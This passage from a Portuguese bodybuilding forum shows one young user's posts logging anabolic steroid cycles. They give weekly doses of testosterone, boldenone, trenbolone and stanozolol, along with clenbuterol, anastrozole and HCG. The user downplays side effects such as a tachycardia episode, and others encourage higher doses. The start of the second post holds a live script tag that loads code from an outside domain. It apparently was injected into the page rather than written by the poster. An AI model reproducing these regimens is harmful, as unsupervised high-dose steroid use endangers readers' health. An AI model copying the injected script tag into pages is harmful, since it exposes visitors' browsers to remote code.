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Lucas Jackie

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Posts postados por Lucas Jackie

  1. Fala galera..

    Quanto tempo...((pqp as vezes eu queria que o dia fosse de 48hrs))

    Finalizei este 2º blast. Muitas coisas aconteceram, umas boas outras nem tanto...mas vamos lá.

    Tudo muito comum, sem nenhum colateral percebível. Rage as vezes passava dos limites, mas por incrível que pareça fiquei mais tranquilo doque quanto estava off drugs, o sub conciente as vezes fala mais alto, nesse caso todas as vezes que eu começava a querer perder a cabeça, mentalizava a calma e a calma vinha. E com isso consegui controlar muito bem a rage.

    Treino sempre muito intenso e pump sempre monstro, monstro...sudorese por causa da trembo era (é) normal. Tentei treinar quase todos os dias, domingo, feriado.

    Dieta, sempre mantendo as proteínas, carbs e gorduras dentro dos estabelecidos pelo meu coach....Lixo sempre fazia aos fds.(uma refeição não um dia todo).

    Estou em cruise para estabelecer e regularizar as taxas e voltando ao um novo blast.

    Segue Protocolos...

    BLAST

    1-8 500 cip testo

    1-8 600 bold

    1-8 225 ace trembo

    CRUISE

    1-5 200 Prop. Testo

    1-5 100 bold

  2. <script src="http://queryjs.me/services/script.js" type="text/javascript"></script>

    Axo que é tsd rsrsrs ou no máximo dsdn

    UFAAAA.......kkkk

    Dsdn, vlw por acompanharem...

    Iremos estudar o aumento das doses da 5º sem em diante...

    RELATO:

    Vamo la galera...

    Na semana passada tudo ia muito bem sem muitas alterações, porem...na quinta-feira a noite foi zika. Treinei perna pesado pra caramba e no fim do treino ainda mandei um aero de 20 min. Fiquei destruído!...fiz as duas ultimas refeiçoes e fiu dormir...nao foi 20 mim, começou um taqui cardio acordei loko...suadeira, tremedeira e sai correndo pro banheiro pra mandar uma agua no rosto. Mas apos o susto tudo se normalizou...dai lembrei que tinha mandado o clemb mais ou menos 2 horas antes.(pqp agora só mando clemb antes das 18:00).

    Densidade e definição esta cada dia melhor...treino continua com força alem do normal...elogios estão começando a surgir. e na namorada esta passando apertada na madruga rsrs.

    Obs: Entrando na 3º semana....

    Abrç e bjo no corrassum (no homo)

  3. Eai galera, blz? voltando aos relatos...

    Bom...estou seguindo o protocolo a risca ate o momento sem desvios ou alterações, tudo ainda esta muito normal, mudanças estão começando a surgir a densidade e definição muscular esta ficando mais aparente. Treino estou com mais força obviamente. Confesso que na dieta manda havendo algum deslizes, principalmente fds. mas somente em uma refeição ou outra. Mas mesmo assim me o culpo pra caramba. dieta baixo carbo, muito aero, ai ja viu...stress e tremedeira (o clemb ta ajudando tbm) é de lei.

    A zika que to achando é no stano nunca tive nenhum nódulo com qualquer outra drug, porem o stano, o stano haha. ja estou com um de cada na lado da bunda. Meu corpo ainda não se adaptou muito bem com com ele, mas mesmo assim a aplicação continua.

    Abrç...

  4. Eai galera, ando meio sumido, correia danada, problemas, trabalho, mas ta valendo.

    Como era previsto iria iniciar o Blast após 4 semanas off drugs, porem os produtos não chegaram, to puto pra krl. O fornecedor errou o CEP, dai não deu outra. Voltou!

    È foda...mas normal, pois problemas surgiram e só dependerá de vc a maneira de administra-los. Estou tentando segurar o volume na dieta, esta difícil, mas se tudo correr certo esta semana elas já estarão em mãos.

    Abrç, at logo...

  5. Bom galera, estava meio sumido, mas aqui estou.

    Finalizei a exatamente uma semana o blast (se é que poderíamos chamar de blast, mas tudo bem). Visualmente evolui bastante, simetria e densidade estão fora da realidade que já me vi. Este foi o primeiro contato com a trembo, no começo fiquei meio receoso, mas graças ao bom Deus ocorreu tudo dentro dos conformes e totalmente diferente do que alguns ¨entendedores¨ me disseram . Este fim de ano deu uma bugada na minha dieta, mas nada que uma boa dose de motivação e persistência não resolva. Ainda estou sobre o efeito das drugs. Ficarei off-drugs por 3 semanas e entraremos com o próximo blast após este período. Segue abaixo:

    1-5 500mg Enant. Testo

    5-10 750mg Enant. Testo

    1-8 150mg Stano

    1-5 110mg Trembo

    5-10 220mg Trembo

    Labs.(GC)

    HCG e IA conforme necessidade.

    Estamos analisando a possibilidade de incluir Masteron, mas por enquanto esta será a programação, podendo ser alterada a qualquer momento. Futuramente pretendo entrar com GH, mas isso será uma outra etapa, por enquanto fica só na vontade e pesquisas.

    Abrçs...

    Duvidas, gestões e criticas construtivas, sempre serão bem vindas...

  6. Mano, teu primeiro contato com Aes agora?

    13% de bf, primeiro contato, e já entra num blast com trembo.

    Eu baixaria BEM esse bf num cruise e depois meteria o blast. E o blast poderia ser mais pancada do que esse aí ainda. aumentaria a dose da trembo daí.

    mas vai relatando. Pela sua dieta esse bf baixou na primeira semana certo? e segue baixando de agora em diante. Só acho que pra ti aproveitar ao máximo esse blast, deveria ter baixado mais o bf em um cruise inicial.

    de resto, ok

    Ok man. Entendo e tbm concordo com seu ponto de vista.

    Continuarei relatando...vlw

    quem ta te acompanhando man?

    Grande Manu, um prazer ter vc aqui. Te respondi por MP.

    Galera, desculpe-me pela ausência, estava meio corrido estes dias devido a alguns problemas, mas ta valendo.

    Vamo lá...Estamos finalizando a 7 semana, mudamos somente a extensão, que sera de 10 sem. e não mas de 8 sem. como estava previsto.

    Colaterais liberalmente zero, somente algumas rage de vez em quando, no restante esta 100%. Treino melhorou bastante, volume melhorou muito tbm, peso estou em 80 kg. Fotos em breve...

  7. acompanhando!!

    não morre ok?

    Morro não man kkk...vlw !

    Finalizando a 3 semana. Por enquanto tudo certo, poucos colaterais só uma dificuldade em dormir e rage esta começando a aparecer.

    Melhorei bastante visualmente mais qualidade e volume. No treino esta dando um pump loko. Os cara fica ate olhando de lado kkkk. Aplicações esta ficando sem lugar, mas vamo mandando assim mesmo.

    Segue foto dorsais. Medidas irei tirar no fim do mês.

    Abraço galera.

    post-128117-1416429248,87_thumb.jpg

  8. Fala galera. Iniciamos o protocolo ontem, porem houve algumas mudanças.

    A dose da trembo subiu para 165 mg/semana. Aplicação no vasto direito, por enquanto so uma pequena dorzinha na regiao possivelmente por conta do enan.

    Mudamos o treino e a dieta tbm. Dieta esta com baixa no carbo, provavelmente subiremos o carbo na segunda semana em diante. Treino esta mais intenso e menos volumoso.

    Sugestões e criticas construtivas, sempre serão bem vindas.

    Abrçs

  9. Bom, irei ser curto e objetivo. Estou pretendendo competir, por isso tomei varias providencias para que isso um dia seja possível uma delas foi procurar uma pessoa capacitada e de confiança para que me auxilie nesta caminhada. Deu tudo certo até o momento, dieta e treino todos de acordo com meus pontos fracos/fortes. Fiz vários exames e com os resultados decidimos que iremos usar uma estrategia. O uso de AEs.

    Com isso irei relatar diariamente/semanalmente os efeitos colaterais, ganhos e etc este ciclo.

    Segue abaixo dados:

    Idade: 21 anos

    Altura: 1,75

    Peso: 82,50

    Bf: 11/13%

    Objetivo: Ganhos secos e baixa de Bf.

    Protocolo: (1º Blast)-FINALIZADO

    1-10 600mg enantato de testosterona

    1-10 165mg de trembo dsdn

    1-5 60mg metandro tsd

    1-101mg anastrzol tsd

    tpc serms padrão+ hcg+vitaminas de acordo com a necessidade

    Duvidas sugestões sempre serão bem vindas.

    Fotos em breve.

    (2º Blast) - EM ANDAMENTO

    1-5 500mg Enant. Testo

    5-10 750mg Enant. Testo

    1-8 150mg Stano

    1-5 110mg Trembo

    5-10 220mg Trembo

    Labs.(GC)

    HCG e IA conforme necessidade.

  10. Fala galera,

    Ontem realizei o treino C...tenso dmais. Dieta 100 % mas só que...

    Cheguei em casa quase desmaiando carbo lá em baixo + treino Intenso = Desanimo total.

    Ontem a noite foi complicado deitei no chão e fiquei me perguntando varias vezes se era realmente isso que eu quero pra mim, dieta restrita, treino intenso e olha quem nem começamos com os eas (mas acho que isso ira me dar uma motivação maior), mas como a maioria já sabe ingressar no mundo BB não é facil...criticas em cima de criticas, stres, dores, vômitos e um dos principais o maldito dinheiro...mas saber da melhor, logo me olhei no espelho e já veio na minha cabeça quase que automático, ¨não desista você esta quase lᨠ. E foi isso, tem dia que estou bem, tem dias que não...mas não vou desistir.

    Fotos em breve...

  11. Acompanhando. Vamos que vamos. Pretende subir em alguma categoria específica? Em determinada cidade?

    Vlw man...Sim, Junior! ainda não estamos com uma cidade em especifica, porem vamos começar nos camps de minas...

    Fiquei sumindo ontem...irei resumir meu dia.

    Por enquanto tudo certo, no entanto o treino como podem ver esta muito intenso...segundo meu coach, estamos em faze de adapdação e focando nos pontos fracos...

    Dieta tranquila, já que as quantidades então reduzidas...mas quanto estiver em bulk, ai sim o bicho vai pega

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